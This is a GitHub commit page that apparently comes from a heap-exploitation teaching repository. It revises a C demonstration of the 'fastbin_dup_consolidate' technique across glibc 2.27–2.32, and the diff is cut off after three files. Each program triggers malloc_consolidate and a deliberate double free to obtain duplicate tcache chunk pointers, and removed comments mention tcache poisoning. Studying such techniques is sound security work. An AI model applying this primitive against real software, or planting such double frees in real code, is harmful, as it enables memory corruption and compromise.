Skip to content

Commit

Permalink
Merge pull request #202 from k4lizen/fastcon
Browse files Browse the repository at this point in the history
Cleanup fastbin_dup_consolidate and prepare it for glibc version 2.41
  • Loading branch information
Kyle-Kyle authored Feb 21, 2025
2 parents 0d0101b + 0d7a138 commit db26e6a
Show file tree
Hide file tree
Showing 10 changed files with 300 additions and 370 deletions.
67 changes: 30 additions & 37 deletions glibc_2.27/fastbin_dup_consolidate.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
a double free to gain control of a tcache sized chunk.
*/

int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
printf("It would also allow us to perform tcache poisoning.\n\n");
#define CHUNK_SIZE 0x400

printf("Lets fill up the tcache to force fastbin usage...\n\n");
int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

// void* ppoison = malloc(0x400);
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.

void* p1 = calloc(1,0x40);
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.

void* p1 = malloc(0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add it to the fastbin.\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Fill up the tcache...\n");
for(int i = 0; i < 7; i++)
free(ptr[i]);

// free(ppoison);
// We can now free this chunk to put it in the tcache bin for the poison.
printf("Now freeing p1 will add it to the fastbin.\n\n");
free(p1);

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
printf("a tcache-sized chunk with chunk size 0x410 ");
void* p2 = malloc(CHUNK_SIZE);

printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
printf("p2=%p.\n", p2);

assert(p1 == p3);
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
free(p1); // vulnerability
assert(p1 == p2);

printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
printf("We have thus achieved UAF on tcache!\n");
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
free(p1); // vulnerability (double free)
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");

// *(long long*)p3 = target;
// We can use the UAF here to perform tcache poison.
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");

printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
void *p4 = malloc(0x400);
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
void *p3 = malloc(CHUNK_SIZE);

assert(p4 == p3);
assert(p3 == p2);

printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
printf("We have achieved duplication!\n\n");

printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");

return 0;
}
67 changes: 30 additions & 37 deletions glibc_2.31/fastbin_dup_consolidate.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
a double free to gain control of a tcache sized chunk.
*/

int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
printf("It would also allow us to perform tcache poisoning.\n\n");
#define CHUNK_SIZE 0x400

printf("Lets fill up the tcache to force fastbin usage...\n\n");
int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

// void* ppoison = malloc(0x400);
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.

void* p1 = calloc(1,0x40);
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.

void* p1 = malloc(0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add it to the fastbin.\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Fill up the tcache...\n");
for(int i = 0; i < 7; i++)
free(ptr[i]);

// free(ppoison);
// We can now free this chunk to put it in the tcache bin for the poison.
printf("Now freeing p1 will add it to the fastbin.\n\n");
free(p1);

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
printf("a tcache-sized chunk with chunk size 0x410 ");
void* p2 = malloc(CHUNK_SIZE);

printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
printf("p2=%p.\n", p2);

assert(p1 == p3);
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
free(p1); // vulnerability
assert(p1 == p2);

printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
printf("We have thus achieved UAF on tcache!\n");
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
free(p1); // vulnerability (double free)
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");

// *(long long*)p3 = target;
// We can use the UAF here to perform tcache poison.
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");

printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
void *p4 = malloc(0x400);
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
void *p3 = malloc(CHUNK_SIZE);

assert(p4 == p3);
assert(p3 == p2);

printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
printf("We have achieved duplication!\n\n");

printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");

return 0;
}
67 changes: 30 additions & 37 deletions glibc_2.32/fastbin_dup_consolidate.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
a double free to gain control of a tcache sized chunk.
*/

int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
printf("It would also allow us to perform tcache poisoning if we had a heap leak.\n\n");
#define CHUNK_SIZE 0x400

printf("Lets fill up the tcache to force fastbin usage...\n\n");
int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

// void* ppoison = malloc(0x400);
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.

void* p1 = calloc(1,0x40);
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.

void* p1 = malloc(0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add it to the fastbin.\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Fill up the tcache...\n");
for(int i = 0; i < 7; i++)
free(ptr[i]);

// free(ppoison);
// We can now free this chunk to put it in the tcache bin for the poison.
printf("Now freeing p1 will add it to the fastbin.\n\n");
free(p1);

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
printf("a tcache-sized chunk with chunk size 0x410 ");
void* p2 = malloc(CHUNK_SIZE);

printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
printf("p2=%p.\n", p2);

assert(p1 == p3);
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
free(p1); // vulnerability
assert(p1 == p2);

printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
printf("We have thus achieved UAF on tcache!\n");
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
free(p1); // vulnerability (double free)
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");

// *(long long*)p3 = target ^ (p3 >> 12);
// We can use the UAF here to perform tcache poison.
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");

printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
void *p4 = malloc(0x400);
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
void *p3 = malloc(CHUNK_SIZE);

assert(p4 == p3);
assert(p3 == p2);

printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
printf("We have achieved duplication!\n\n");

printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");

return 0;
}
Loading

0 comments on commit db26e6a

Please sign in to comment.